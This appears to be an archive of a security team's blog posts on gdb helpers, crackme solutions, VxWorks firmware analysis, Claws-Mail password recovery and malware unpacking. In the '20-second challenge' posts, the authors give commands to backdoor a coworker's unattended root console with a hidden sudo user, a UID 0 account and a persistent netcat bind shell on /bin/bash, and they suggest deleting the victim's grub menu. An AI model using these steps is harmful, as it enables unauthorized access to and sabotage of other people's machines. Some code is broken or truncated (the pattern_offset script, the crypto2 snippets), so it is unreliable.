EDIT: sh4ka enlighted me with the pvefindaddr implementation (http://redmine.corelan.be:8800/projects/pvefindaddr/repository/entry/release/v1.8/pvefindaddr.py) of metasploit pattern functions. It requires python, but it is far lighter than metasploit :). Just add the following to your .gdbinit :

python
import gdb
import binascii

class Pattern_create(gdb.Command):
    '''pattern_create <size>'''

    def __init__(self):
        super(Pattern_create, self).__init__("pattern_create", gdb.COMMAND_SUPPORT, gdb.COMPLETE_FILENAME)

    def invoke(self, arg, from_tty):
        size=arg.split(" ")[0]
        char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        char2="abcdefghijklmnopqrstuvwxyz"
        char3="0123456789"
        charcnt=0
        pattern=""
        max=int(size)
        for ch1 in char1:
           for ch2 in char2:
               for ch3 in char3:
                  if charcnt<max:
                    pattern=pattern+ch1
                    charcnt=charcnt+1
                  if charcnt<max:
                    pattern=pattern+ch2
                    charcnt=charcnt+1
                  if charcnt<max:
                    pattern=pattern+ch3
                    charcnt=charcnt+1
        print pattern

class Pattern_offset(gdb.Command):
    '''pattern_offset <pattern> <size>'''

    def __init__(self):
        super(Pattern_offset, self).__init__("pattern_offset", gdb.COMMAND_SUPPORT, gdb.COMPLETE_FILENAME)

    def invoke(self, arg, from_tty):
        searchpat=arg.split(" ")[0]
        size=arg.split(" ")[1]
        mspattern=""
        patsize=int(size)
        mspattern=self.pattern_create(size)
        if len(searchpat)==4:
           ascipat2=searchpat
           print("Looking for %s in pattern of %d bytes" % (ascipat2,patsize))
           if ascipat2 in mspattern:
              patpos = mspattern.find(ascipat2)
              print(" - Pattern %s found in Metasploit pattern at position %d" % (ascipat2,patpos))
           else:
              print(" - Pattern %s not found in Metasploit pattern" % ascipat2)
        if len(searchpat)==8:
              searchpat="0x"+searchpat
        if len(searchpat)==10:
              hexpat=searchpat
              ascipat3=toascii(hexpat[8]+hexpat[9])+toascii(hexpat[6]+hexpat[7])+toascii(imm,hexpat[4]+hexpat[5])+toascii(hexpat[2]+hexpat[3])
              print("Looking for %s in pattern of %d bytes" % (ascipat3,patsize))
              if ascipat3 in mspattern:
                 patpos = mspattern.find(ascipat3)
                 print(" - Pattern %s (%s) found in Metasploit pattern at position %d" % (ascipat3,hexpat,patpos))
              else:
                 #maybe it's reversed
                 ascipat4=toascii(hexpat[2]+hexpat[3])+toascii(hexpat[4]+hexpat[5])+toascii(hexpat[6]+hexpat[7])+toascii(hexpat[8]+hexpat[9])
                 print("Looking for %s in pattern of %d bytes" % (ascipat4,patsize))
                 if ascipat4 in mspattern:
                   patpos = mspattern.find(ascipat4)
                   print(" - Pattern %s (%s reversed) found in Metasploit pattern at position %d" % (ascipat4,hexpat,patpos))
                 else:
                   print(" - Pattern %s not found in Metasploit pattern" % ascipat4)

    def pattern_create(self, size):
        char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        char2="abcdefghijklmnopqrstuvwxyz"
        char3="0123456789"
        charcnt=0
        pattern=""
        max=int(size)
        for ch1 in char1:
           for ch2 in char2:
               for ch3 in char3:
                  if charcnt<max:
                    pattern=pattern+ch1
                    charcnt=charcnt+1
                  if charcnt<max:
                    pattern=pattern+ch2
                    charcnt=charcnt+1
                  if charcnt<max:
                    pattern=pattern+ch3
                    charcnt=charcnt+1
        return pattern

   def toascii(self, n):
      try:
         asciiequival=binascii.a2b_hex(n)
      except:
         asciiequival=" "
         #print sys.exc_info()[0]
      return asciiequival

Pattern_create()
Pattern_offset()

end

This is a simple way to define gdb commands in python, read more at http://sourceware.org/gdb/wiki/PythonGdbTutorial.

Code available here :
http://paste.pocoo.org/show/Arg0fmMLsO3cVoSCclXo/

2011-02-04T13:25:00.010+01:00

Hello, Let's level up this blog with some crypto challenges :)

Intro

Shmoocon 2011 released their crypto challenges http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/ and we'll try to solve them.

Ok :

dad@gambas /tmp % wget http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/download
--2011-02-08 17:25:08--  http://crackmes.de/users/andrewl.us/shmoocon_2011_crypto_challenge_pack/download
Résolution de crackmes.de... 88.198.55.82
Connexion vers crackmes.de|88.198.55.82|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 22865 (22K) [application/zip]
Sauvegarde en : «download»

100%[===============================================================>] 22 865      --.-K/s   ds 0,07s

2011-02-08 17:25:08 (303 KB/s) - «download» sauvegardé [22865/22865]

dad@gambas /tmp % unzil -l download
zsh: correct 'unzil' to 'unzip' [nyae]? y
Archive:  download
Length      Date    Time    Name
---------  ---------- -----   ----
1094  2011-01-27 13:16   crypto1.py
1000  2011-01-27 13:19   crypto2.py
5027  2011-01-27 13:20   crypto3.py
28336 2011-01-27 13:20   crypto4.py
15075 2011-01-31 20:40   crypto5.py
1349  2011-01-27 13:24   README
2886  2011-01-27 13:20   warmup.py
---------                     -------
54767                     7 files

Seems that crypto 1 is the easiest part so we're gonna start with it

Crypto 1

dad@gambas /tmp % python2 crypto1.py
usage:  crypto1.py   
dad@gambas /tmp % python2 crypto1.py name 1010
bad

While browsing the code we see that 'good' is printed while pow(c, d, n) == m. Given d and n, c is int(serial) and m = hex(name). So we have to solve serial^d%n == name, RSA ?! Ok sounds like some old school maths will appear, the time to define some functions :

def iterative_egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
   q,r = b/a,b%a; m,n = x-u*q,y-v*q
   b,a, x,y, u,v = a,r, u,v, m,n
return b, x, y

def modinv(a, m):
g, x, y = iterative_egcd(a, m)  # or recursive_egcd(a, m)
if g != 1:
   return None
else:
   return x % m

It is needed as we will find serial = name^modinv(d, phi_n) mod n. phi_n is calculated thanks to the factorization of n :

# listFactors = sympy.factorint(n).keys()
listFactors = [1431655777,572662309,1717986953,2290649227,1145324633,858993503,2004318077,286331173]

# phi_n =
phi_n = 1
for i in listFactors:
phi_n*= i-1

dad@gambas /tmp % python2 crypto1_sol.py Gr@L@nD 1
Gr@L@nD => 20110343829220932
phi_n = 1821668770858768688568830104173455278614348858086775854542934108212297728
modinv(d, phi_n) = 174725878413998504300527427786354881690797517767573630493566745566969857
Found c:229078519703809131552789955890563407627700764338566985398325879250838863
c^d%n = 20110343829220932
m = 20110343829220932
good

RSA!!! No need for sources ? :)

Crypto2

dad@gambas /tmp % python2 crypto2.py
usage:  crypto2.py   
dad@gambas /tmp % python2 crypto2.py name 1010
bad

A fast analyze of the code shows that a checksum is calculated on the value generated from the name. This checksum is reversible and can be shown as an error code (XORed). Then msb is dropped and the error code is appended to the variable. This operation is made 0x10001 times.

for i in range(65537):
temp = state & 0x800000000000000D
sum = 1
while temp:
   sum ^= (temp & 1);
   temp >>= 1;

state = ((state <<>

Luckily for us, 0x800000000000000D is exactly what we need to reverse the algorithm! The mask is 2**64-1 and so the dropped bit is calculated by the error code. The only step to recover it is to calculate the checksum again, if the recovered sum match, it was a 0; otherwise a 1. Btw we'll loop as done before :

for i in range(65537):
state_ori = state
state = state >> 1

temp = state & 0x800000000000000D
#print "temp:" + str(temp)
sum = 1
while temp:
   sum ^= (temp & 1);
   # print " sum:"+ str(sum)
   temp >>= 1;
   # print " temp:" + str(temp)

if (state_ori & 1) != sum:
   state |= (1 <<>

Let's try our snippet :

dad@gambas /tmp % python2 crypto2_sol.py Gr@L@nD 1
state to find: 20110343829220932
reverse
state:15623916848929268887 sum: 1 temp: 0
bad
dad@gambas /tmp % python2 crypto2.py Gr@L@nD 15623916848929268887
good

Yipie! Had a hard time trying to reverse the algorithm operation by operation, should always think of the associated state machine :)

Crypto 3

Ok difficulty 5/9 it should be harder! As a quick analysis, two lists are calculated from both name and serial derivated from two distincts subsitution boxes. Solution is found when lists are equals, so we have to reverse engineer final list generation algorithm and calculate the associated number. [To finish :]

References

http://code.activestate.com/recipes/474129-extended-great-common-divisor-function/ http://python.jpvweb.com/mesrecettespython/doku.php?id=restes_chinois

Quick checks on VxWorks images - part 2

2011-01-27T16:55:00.021+01:00

Following the 1st post on VxWorks, let's check some more internals on binary system images. I will focus on VxWorks version 5, which is based on a proprietary binary format, whereas VxWorks version 6 makes use of the ELF executable and linkable format. VxWorks 5 images are monolithic: everything -system and applications- is often built and linked into a single executable file. And luckily (or by mistake?) most of the VxWorks 5 images I have seen include debugging symbols! Manufacturers seem forgetting to strip their firmwares...

My goal for now is to retrieve the symbol table containing all functions' code start address, and corresponding symbols' name and type. Firstly, I will try to find suspicious areas were functions or variables names are collapsed, separated with padding bytes.
For example:

[...]
00137E80   74 65 6C 6E  65 74 64 54  61 73 6B 44  65 6C 65 74  telnetdTaskDelet
00137E90   65 00 74 65  6C 6E 65 74  64 53 65 73  73 69 6F 6E  e.telnetdSession
00137EA0   44 69 73 63  6F 6E 6E 65  63 74 46 72  6F 6D 53 68  DisconnectFromSh
00137EB0   65 6C 6C 4A  6F 62 00 74  65 6C 6E 65  74 64 53 65  ellJob.telnetdSe
00137EC0   73 73 69 6F  6E 44 69 73  63 6F 6E 6E  65 63 74 46  ssionDisconnectF
00137ED0   72 6F 6D 53  68 65 6C 6C  00 74 65 6C  6E 65 74 64  romShell.telnetd
00137EE0   53 65 73 73  69 6F 6E 44  69 73 63 6F  6E 6E 65 63  SessionDisconnec
00137EF0   74 46 72 6F  6D 52 65 6D  6F 74 65 00  74 65 6C 6E  tFromRemote.teln
00137F00   65 74 64 50  61 72 73 65  72 43 6F 6E  74 72 6F 6C  etdParserControl
[...]

After some more checks, I have a good view on the way those names are appended all together: it is only printable characters separated by 1 or few null bytes. This will be easy to automate a search. Furthermore, it can help in retrieving the OS loading address used by the bootloader: addresses of those symbols in the static file are not those at the execution time; however, they are all moved by a fixed offset: ...the loading address.
An idea is to make use of the difference between all the symbols strings address instead of using directly their static addresses in the file. May these relative offsets help in retrieving the symbol table?
Let's open python again, find sequence of symbols and return the list of offsets between them:

def scan_for_symbols(img):
    # printable chars:  0x21 to 0x7E
    # scan the file for printable chars,
    # spaced with \x00 repeated 1 to maxp times
    
    # constants:
    # char for padding between symbols
    pad_char = '\x00'
    # maximum padding bytes admitted between symbols strings
    maxp = 8
    # limit to determine possible sequence of symbols names
    min_pattern = 0x100 
    
    # initialized:
    num_pattern = 0 # count possible symbols during scan
    start_addr = 0 # store the possible sequence start address
    addr_cur_sym, addr_prev_sym = 0, 0 # start address of possible symbols
    p, pad, acc = 0, 0, 0 # address pointer, and pad and char counters
    addr_diff = [] # list with address offsets between symbols
    ret = [] # list with addr_diff lists found
    
    while p < len(img):
        if 0x21 < ord(img[p]) < 0x7E:
            if start_addr == 0:
                start_addr = p
            if pad > 0:
                addr_cur_sym = p
                if addr_prev_sym > 0:
                    addr_diff.append(addr_cur_sym - \
                     addr_prev_sym)
                addr_prev_sym = addr_cur_sym
            pad = 0
            acc += 1
        elif img[p] == pad_char and pad <= maxp:
            if acc > 0:
                num_pattern += 1
            acc = 0
            pad += 1
        else:
            if num_pattern > min_pattern:
                print '[+] possible symbols starting' \
                      ' at address: 0x%x' \
                      % start_addr
                ret.append(addr_diff)
            addr_diff = []
            addr_cur_sym, addr_prev_sym = 0, 0
            pad, acc = 0, 0
            num_pattern = 0
            start_addr = 0
        p += 1
    return ret

And as a result in the python interpreter (with the firmware image of the IP-enable fridge):

>>> s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x10f90e0
[+] possible symbols starting at address: 0x138fdbc
[+] possible symbols starting at address: 0x14de5f8
>>> [(len(l), l[:15]) for l in s]
[(481, [24, 24, 36, 32, 24, 24, 28, 28, 24, 28, 24, 20, 24, 24, 24]), 
(519, [8, 8, 8, 8, 8, 4, 8, 4, 4, 4, 4, 4, 8, 32, 20]), 
(45700, [12, 12, 12, 8, 8, 8, 8, 8, 8, 4, 8, 8, 8, 4, 8])]

It seems we have a winner at 0x14de5f8 with 47500 debugging symbols! I can confirm thanks to my hexeditor.
Next step would be to use those offsets to retrieve the symbol table containing functions pointers: scanning the file, applying a guessed size of a pattern from the table, and comparing the relative offsets between successive supposed symbol's address with what I got from scan_from_symbols().
Let's do a simple research with python:

def search_symbol_table(img, offset_list):
    endian='>' # handle endianness for DWORD
    pat_size=16 # guessed size of a pattern of the symbol table
    
    # truncate the list to avoid possible dummy symbols
    # at the beginning and end 
    offset_list = offset_list[50:-50]
    
    i, start_addr = 0, 0
    # scan with word alignment at 0, 1, 2, ... pat_size bytes
    for o in range(0, pat_size):
        for p in range(0, len(img)-(2*pat_size), pat_size):
            sym_addr_1 = struct.unpack(endian+'I', \
                          img[p+o:p+o+4])[0]
            sym_addr_2 = struct.unpack(endian+'I', \
                          img[p+o+pat_size:p+o+pat_size+4])[0]
            # check against the symbols offset list
            if (sym_addr_2 - sym_addr_1).__abs__() == \
             offset_list[i]:
                i += 1
                if i == 1:
                    start_addr = p+o
                elif i == len(offset_list):
                    print '[+] found symbol table starting'
                          ' just before address: 0x%x' \
                          % start_addr
                    i = 0
            else:
                i = 0

And let's try it on our fridge's firmware image with the 45700 debugging symbols:

>>> s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x10f90e0
[+] possible symbols starting at address: 0x138fdbc
[+] possible symbols starting at address: 0x14de5f8
>>> search_symbol_table(img, s[2])
[+] found symbol table starting just before address: 0x158d958

After checking with the hexeditor, the match is confirmed: Bingo! Actually, the table is exactly starting at address 0x158d6b8. This is because we truncated the beginning of the offset list a bit too much.
The format that seem to be used by VxWorks 5 is:
struct symtable_pattern{
dword symbol_addr;
dword code_addr;
dword symbol_type; // 0x500: function, 0x700: data, 0x900: ?
dword null;
};
I was lucky to find a match directly. It could have happened that the offset list deduced from the symbols strings would need to be reversed. It could also happen (who knows how obscure debuggers work...) that the symbols in the string list are not sorted in the same way than the patterns in the symbol table. For those reasons, we can have another approach to try to find the symbol table: a bit more statistical...
So, one can scan the firmware image, extracting 2 consecutive supposed symbol addresses (guessing again the size of a pattern of the table), and check if the difference between those 2 addresses is less than the maximum memory space taken by the full symbols string. If there is a match a number of time equal to the number of symbols found in the string area: then we have certainly found the symbol table... Or a large area of padding :(
However, let's test it:

def search_symbol_table_stat(img, sym_number, max_offset):
    endian='>'
    pat_size = 16
    i, start_addr = 0, 0
    # scan with word alignment at 0, 1, ..., pat_size bytes
    for o in range(0, pat_size):
        for p in range(0, len(img)-(2*pat_size), pat_size):
            sym_addr_1 = struct.unpack(endian+'I', \
                          img[p+o:p+o+4])[0]
            sym_addr_2 = struct.unpack(endian+'I', \
                          img[p+o+pat_size:p+o+pat_size+4])[0]
            if (sym_addr_2 - sym_addr_1).__abs__() < \
             max_offset:
                i += 1
                if i == 1:
                    start_addr = p+o
                elif i == sym_number:
                    print '[+] possible symbol table'\
                          ' starting at address: 0x%x' \
                          % start_addr
            else:
                i = 0

And let's try it again on fridge's firmware:

>>> search_symbol_table_stat(img, len(s[2]), sum(s[2]))
[+] possible symbol table starting at address: 0x158d580
[+] possible symbol table starting at address: 0x1652d80
[+] possible symbol table starting at address: 0x158d591
[...]
[+] possible symbol table starting at address: 0x1652d8f

Suprisingly, the result is not so bad... I find the area starting at 0x158d580 thanks to the statistic search, that is close to the exact start address 0x158d6b8. The area starting at 0x1652d80 is actually padding bytes.

Knowing the symbol table and the list of symbols strings, I have now to retrieve the loading address of the firmware. The idea is to get one of the extrem address (lowest or highest) from the symbols strings, and the equivalent in the symbol table. Based on the last example with 45700 symbols, I get the loading address: 0x10000. Look's good!
Let it try now on the firmware of the helium balloon:

>>> len(img)
9128872
>>> s = scan_for_symbols(img)
[+] possible symbols starting at address: 0x67e358
>>> len(s[0])
15874
>>> search_symbol_table(img, s[0])
>>> search_symbol_table_stat(img, len(s[0]), sum(s[0]))
[+] possible symbol table starting at address: 0x71cd40
[+] possible symbol table starting at address: 0x75ad70
[+] possible symbol table starting at address: 0x71cd41
[+] possible symbol table starting at address: 0x75ad71
[...]
[+] possible symbol table starting at address: 0x75ad7f
>>> get_lowest_addr_from_symtable(0x71cd40, 0x75ab8c)
1617425240
>>> hex(_ - 0x67e358)
'0x60001000'

So, this image has almost 16000 symbols. Checking with the hexeditor, I can confirm the starting address of the symbol table: 0x71cd40. I note at the same time the end of the table: 0x75ab8c. And comparing lowest addresses between symbols strings and symbol table, I deduce the loading address: 0x60001000. So nice...
From this point, it is possible to extract the list of symbols with corresponding code start address and type. This is left for the reader, and it ends up this 2nd session on VxWorks image analysis.
Next session, blind_key will use the loading address and debugging symbols retrieved here to resolve cross-reference of the image executable in IDA. This will help us in having a logical view of the binary, instead of the austere hexa view we had up to now.

The Local Priviledge Storage Impossibility

2011-01-24T17:46:00.005+01:00

When you fire up your mailer, it (usually) does not prompt you your password to retrieve your mail. Instead, it stores it locally. Wait, whaaat ? My password is stored on my hard-drive, so anybody can boot on a live medium and 0wn me ? Yes, my dear. Fortunately, they are usually ciphered before being stored. Not always. Pidgin users can try the following ultr4-l33t h4xx :

$ grep -rn "<password" ~/.purple/*

OK, this was funny. Some other softwares do a slightly better job at hiding your credentials. Here is today's" source-code-reverse-engineering" case-study ! The subject will be Claws-Mail. Get the source, grep magic words, and you'll quickly find the interesting source file.

$ wget http://downloads.sourceforge.net/\
sourceforge/sylpheed-claws/claws-mail-3.7.8.tar.bz2
$ tar xjvf claws-mail-3.7.8.tar.bz2
$ cd claws-mail-3.7.8/src
$ grep -rn password * # lots of stuff, let's get a simple file list
$ grep -rn password * | cut -d':' -f1 | sort | uniq
[...]
common/passcrypt.c
common/passcrypt.h
[...]
$ # here it is !
$ vim common/passcrypt.c common/passcrypt.h

The header file shows us a nice PASSCRYPT_KEY set to "passkey0". And in the C file, we find the ciphering and deciphering procedures. A lot of obscure crypto (at least obscure to me), but you don't need to be a genius to understand the problem: the secret is not secret (it's in the header file), so no crypto-system will be able to hide the password we want to protect. Moreover, there is no need to reverse the algorithm, since the source file provides both ciphering and deciphering functions.

One note about this problem: it is impossible to solve. You cannot hide something to someone who knows the secret you use. Unlike the hashing algorithms used to store your UNIX credentials in /etc/shadow for example, Claws-Mail HAS to store the password in a reversible way. Here is why.
When you type your password in the UNIX login prompt, the system checks that the password you gave produces the same hash that is stored in /etc/shadow; it does not check that you entered YOUR password (because it does not know it, it simply knows the hash). Thanks to the cryptographic hash functions properties, this ensures us that there is a very high probability that the password you entered was indeed yours. This propery is called collision resistance.
On the contrary, Claws-Mail HAS to know your password because the mail protocol (e.g IMAP, SMTP) states that you must provide a password. So either you type the password each time you launch Claws-Mail, either it stores it in a reversible way. Anyone who has the same knowledge as you (i.e. who knows the value of PASSCRYPT_KEY) can retrieve the password.

Claws-Mail stores the ciphered password in ~/.claws-mail/accountrc. All the code you need is already there: the deciphering procedure in common/passcrypt.c, plus some base64 stuff in common/base64.c.

$ sudo grep password /home/dummy/.claws-mail/accountrc
password=!U5unwpFJ3+dsOVd+IwfdyQ==
$ grep -rn passcrypt_decrypt *
[...]
prefs_gtk.c:226:    passcrypt_decrypt(tmp, len);
[...]
$ vim prefs_gtk.c

The deciphering is done in this file.

case P_PASSWORD:
   g_free(*((gchar **)param[i].data));
   if (value[0] == '!') {
    gchar tmp[1024];
    gint len;

    len = base64_decode(tmp, &value[1], strlen(value) - 1);
    passcrypt_decrypt(tmp, len);
    tmp[len] = '\0';
    *((gchar **)param[i].data) =
     *tmp ? g_strdup(tmp) : NULL;
   } else {
    *((gchar **)param[i].data) =
     *value ? g_strdup(value) : NULL;
   }
   break;

First character in has to be a "!", then it is decoded in base64, then we call the passcrypt_decrypt method on it. Add a "\0" at the end. All you need is to put the pieces together.

Here is a package with everything. C code put together (just ripped, no need to add anything), plus a python script that extracts all the informations and decipher the password.

$ sudo python2 passrec.py dummy
[+] found claws-mail config files for user dummy
[ ] account address: dummy@gmail.com
[ ] receive server: imap.gmail.com
[ ] login: dummy
[ ] ciphered password: U5unwpFJ3+dsOVd+IwfdyQ==
[+] deciphered password: zessuperPAssw0rd

Warning: this script is so ugly that it will give eye-cancer to any person able to write a "Hello World" in python. Add -fPIC to the lib target in the Makefile if it does not compile.

Fortunately you can modify the PASSCRYPT_KEY before Claws-Mail compilation:

$ ./configure --with-passcrypt-key=KEY

Unfortunately, the key will still be stored in the binary. So a little bit of reverse-engineering will eventually bring you the secret. Fire up gdb, break on crypt_cfb_buf, and find the key.

Keyboard fun

2011-01-07T13:10:00.000+01:00

I bought a really mean keyboard. Yes, the keys are blank. I wanted to be able to switch keyboard layouts, and I find it weird to type on an AZERTY keybord with a QWERTY layout (and vice-versa). So, blank keys, no assumptions on the layout, no schizophrenia problem for me.

Now, about the layout switching. You can use a GUI application (e.g. fbxkb), but if you have a really bad ass keyboard, you don't want this. So here is a more geeky solution using Xorg configuration. I'm using version 1.9.2.

Open /etc/X11/xorg.conf.d/10-evdev.conf and edit the following lines in the keyboard section

        Option "XkbLayout" "fr,us"
        Option "XkbOptions" "grp:caps_toggle,grp_led:caps"

What it basically does is :
- load two layouts, fr and us
- use the Caps Lock key (seriously, who uses it ?) to change the layout
- toggle the Caps Lock LED when the keyboard layout switches (same behavious than with the normal Caps Lock key).

You can find more on these options here if you want to use different keys and LEDs. And by the way, if you find yourself "caps-locked", and unable to switch back (remember, the Caps Lock key changes the layout), try Shift-Caps_Lock...

Another way to make the keyboard even more bad ass is to add media keys, since it does not have any. I use the three keys you might have never used, Pause, Print Screen and Scroll Lock. Here is a quote of my Openbox config (in ~/.config/openbox/rc.xml):

     <keybind key="S-Print">
      <action name="Execute">
        <execute>scrot -s -e 'mv $f ~/sshots'</execute>
      </action>
    </keybind>
    <keybind key="S-Pause">
      <action name="execute">
        <execute>ncmpcpp toggle</execute>
      </action>
    </keybind>

So Shift-Print allows me to take a screenshot, and Shift-Pause acts like a Play-Pause key.

The 20-second challenge - Part IV

2010-12-15T23:19:00.010+01:00

You could sometimes be lazy enough to willing have direct root shell access (no login required). A really simple solution exists again, redirecting the socket directly to /bin/sh (or better, /bin/bash) launched by an UID 0 account.

I have 2 basic solutions for that:
- netcat
- inetd

The inetd method is more adapted to Unix system where it often comes in default configuration. Netcat, on the other side, is often found in Linux systems. With netcat, just use:

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&

This will background your infinite loop (this is a bit dirty...). It is unforunately completely un-stealth, as the netcat process will be seen in ps and netstat returns. Furthermore, if you kill the session used to launch the loop, the current netcat job will be attached to pid 1 and the loop will stop.

An easy solution to let the "while" loop running, attached to a lower level pid (e.g. pid 1) is to "disown" it from your current session:

before disowning:
├─gnome-terminal─┬─bash───pstree
│ ├─bash
│ ├─bash───bash───netcat

after disowning:
init─┬─6*[agetty]
├─bash───netcat

To do this, a very simple bash builtin command: disown!

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&
[1] 3295
$ jobs
[1]+  Running                 while 'true'; do
    netcat -l -p 6666 -e /bin/bash;
done &
$ disown %1

Next time, I will check some (x)inetd tricks to backdoor even more colleagues' stations.

The 20-second challenge - Part III

2010-12-15T11:45:00.000+01:00

Here is a quick post on how to check you don't have any malicious services running on your machine.

$ netstat -antup | grep LISTEN

It will list all sockets listening for connections on your machine, and the associated process. Check if there is no suspect telnet running...
Also, check your crontab:

$ crontab -l
$ crontab -e

List and edit weird jobs. Don't forget to do that for all users that can log in.

The 20-second challenge - Part II

2010-12-14T15:43:00.008+01:00

OK, you have the console logged just in front of you! Let's go for the simplest backdoor (much simpler than the wheel gid + visudo previously posted): the UID 0 account!

- Edit the /etc/passwd.
- Choose an account with a dummy name and a shell environment (do not create a new one: it would not be stealth enough).
- Change its UID to 0.
- Eventually reset its password if you do not know the original one.
Done.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
prout:x:0000:1016::/home/prout:/bin/bash
$ su - prout
Password:
#id
uid=0(root) gid=1001(prout) groups=0(root),1001(prout)

Now, you can reset the root password on demand, kill the graphical interface of your co-worker on demand, and delete his /boot/grub/menu.lst for even more fun!

The 20-second challenge - Part I

2010-12-14T15:24:00.004+01:00

Say a coworker left his computer unattended, with a root console opened. He is about to come back (you can hear its footsteps in the corridor). You have approximatively 20 seconds to backdoor his computer. What do you do ?

Here is the most straightforward trick:

$ useradd -g users, wheel -s /bin/bash sysadm
$ passwd sysadm
$ visudo
$ /etc/init.d/ssh start

This way you:
- create a new user. The name has to look "normal", you should avoid "l33th4xx".
- set its password.
- add your newly created user to the sudoers file.
- start the ssh server, so you can come back later.

First prank:
$ [come back to your office]
$ ssh sysadm@my-stupid-coworker
$ sudo su
$ su my-stupid-coworker
$ export DISPLAY=:0.0 && firefox http://bonjourmadame.fr

No need for explanation ;-)

Hopefully we'll come back for more tricks / pranks / anti-coworker-pranks.

The echo complexity

2010-12-02T13:23:00.001+01:00

Just a tip for our customers: if the following command does not actually configure your HTTP proxy settings:

echo "export http_proxy=http://my-proxy:8080"

just try :

export http_proxy=http://my-proxy:8080

It's sometime better without the "echo".

Quick checks on VxWorks images - part 1

2010-11-12T17:08:00.042+01:00

In GNIF, we are seeing lots of different equipments being deployed for running networks. Many of them are working with VxWorks, especially version 5.5 that is common. It is a real-time OS supplied by WindRiver. For some initial views (still quite complete) on the particularity of this OS and its analysis, you can report to the following posts:

- Matasano
- HD Moore
- Newsoft

This OS is running on many different systems, such as helium balloon for expanding satellite network or IP-enabled fridge and microwave oven. GNIF is proud to provide you some quick results on applying some existing reversing techniques on these systems.

In this 1st part on VxWorks, we are not going to dive into the system itself, but just going to check what you have in your hands when you get such a firmware. Let's go with the helium balloon: we have a binary file of some MB of data suffixed with a .bz, however file indicate it's just data. Let's open it with an hex-editor: we can first see an ascii header followed by hex data.

$ strings -a image.bz | head -20
AZC File Signature
3SZ_SW
* Header Length : 358 Bytes
* Product Version : Rel_9_0_0_8666
* Date & Time : Wed Nov 09 12:03:31 2004
* Code Length : 2358544 Bytes
* Bootrom Length : 176500 Bytes
* Unit Type : PIPO
* HW Revision : 8
* SW Type : S
************* End of Header *****************
4JKTJH
[...]

The data following the header is very entropic. One can guess it is compressed data, thanks to the zlib magic number few bytes after the end of the header: 0x789c. Furthermore, from the header, it looks like we have 2 images (one system and one bootrom). So we will use the most basic strategy to uncompress thoses files: the brute-force! Scan the file for the magic bytes 0x789c, and try to uncompress from the offset... and see what you get.

In few lines of python:

fd = open('image.bz', 'ro')
a = fd.read(); fd.close()
from zlib import decompress
of, f = 0, a.find('\x78\x9c')
while f >= 0:
    of += f
    try:
        data = decompress( a[of:] )
        print 'decrompressed at: 0x%x' % of
    except:
        pass
    f = a[of+2:].find('\x78\x9c')
    of += 2

This returns the following address:
decrompressed at: 0x210
decrompressed at: 0x2b384

OK, we have our 2 offsets corresponding to our 2 parts; furthermore, we see that the size of the compressed sections is equal to the length provided in the text header. We can now decompress it in files to check it further.

In [107]: fd = open('p1', 'wb')
In [108]: fd.write( decompress( a[0x210:] ))
In [109]: fd.close()
In [112]: fd = open('p2', 'wb')
In [113]: fd.write( decompress( a[0x2b384:] ))
In [114]: fd.close()
In [115]: !ls -l
total 11740
-rw-r--r-- 1 prout users 2535572 Dec 2 14:31 image.bz
-rw-r--r-- 1 prout users 178685 Dec 2 15:06 p1
-rw-r--r-- 1 prout users 9065873 Dec 2 15:07 p2

That's it!
Now let's move to the image of the IP-enabled fridge. Again, we have a file suffixed with .bin. File command does not recognize it => hexedit.

$ hexedit image.bin
00000000 76 65 72 20 39 38 32 00 00 00 00 00 00 00 00 00 ver 982.........
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 01 01 63 00 00 07 85 53 00 00 01 00 00 00 00 00 ..c....S........
00000050 D6 0F E5 B9 66 00 00 00 00 00 00 00 00 00 00 00 ....f...........
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0 08 78 9C B4 5A 0D 70 54 55 96 3E 9D 0E 49 77 88 .x..Z.pTU.>.

We have some kind of binary header with a file version, and what could be file size and checksum, and again our gzip magic number: 0x789c. After checking the size of the file section after the gzip magic bytes, we get the corresponding value in the header at offset 0x44: 0x78553. We check in the same way the CRC32 of the file section and get the corresponding value in the header at offset 0x50: 0xD60FE5B9. This is good to know if we want to patch the firmware afterwards.
Now, we can apply the same decompressing script and get a single system image.

We have some VxWorks system images. Next step will be to start the statical analysis, try to retrieve the VxWorks symbol table (inspired from the Matasano recipe) and retrieve the firmware loading address in order to be able to disassemble it properly.

To conclude, we have seen that VxWorks images have similarities in that they are compressed sections with zlib after a header section. However, due to the diversity of board, CPU and uC suppliers, bootloading procedures may vary and may take different kind of header format.

Friday hexadecimal entertainment

2010-11-05T14:57:00.008+01:00

TLDR:

OllyDBG works like a charm in Wine
Looking into malwares on Friday is fun

Working on fridays sucks. So here is a little reverse-engineering fun.

On a supposedly "empty" USB stick, I found a weirdly-named file:
$ ls
gy.cmd
$ file gy.cmd
gy.cmd: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

You can get it there (pass: GraLandSec).

A quick visit to Virus Total confirms that it is a Trojan. And here is something fun to do before week-end !
First, a quick look at the file with IDA, now with a native Qt interface under Linux. No need to boot a VM, my good old XP in VirtualBox is now officially half-useless (as we will see later, we can do a lot of things with PE juste with Linux). Here is what the flow-chart looks like at the entrypoint:

Very simple and linear, except for what looks like a loop at the end. Let's zoom in:

This really looks like a decoding loop (with the memory acces sub [esi], al). After the loop, we apparently have junk / random bytes. At this point, we can say that the program is packed, with a simple decoding routine at the entrypoint. How can we continue the analysis ? Under Linux, IDA have debugging capabilities for Linux executables, or using a remote debugger.
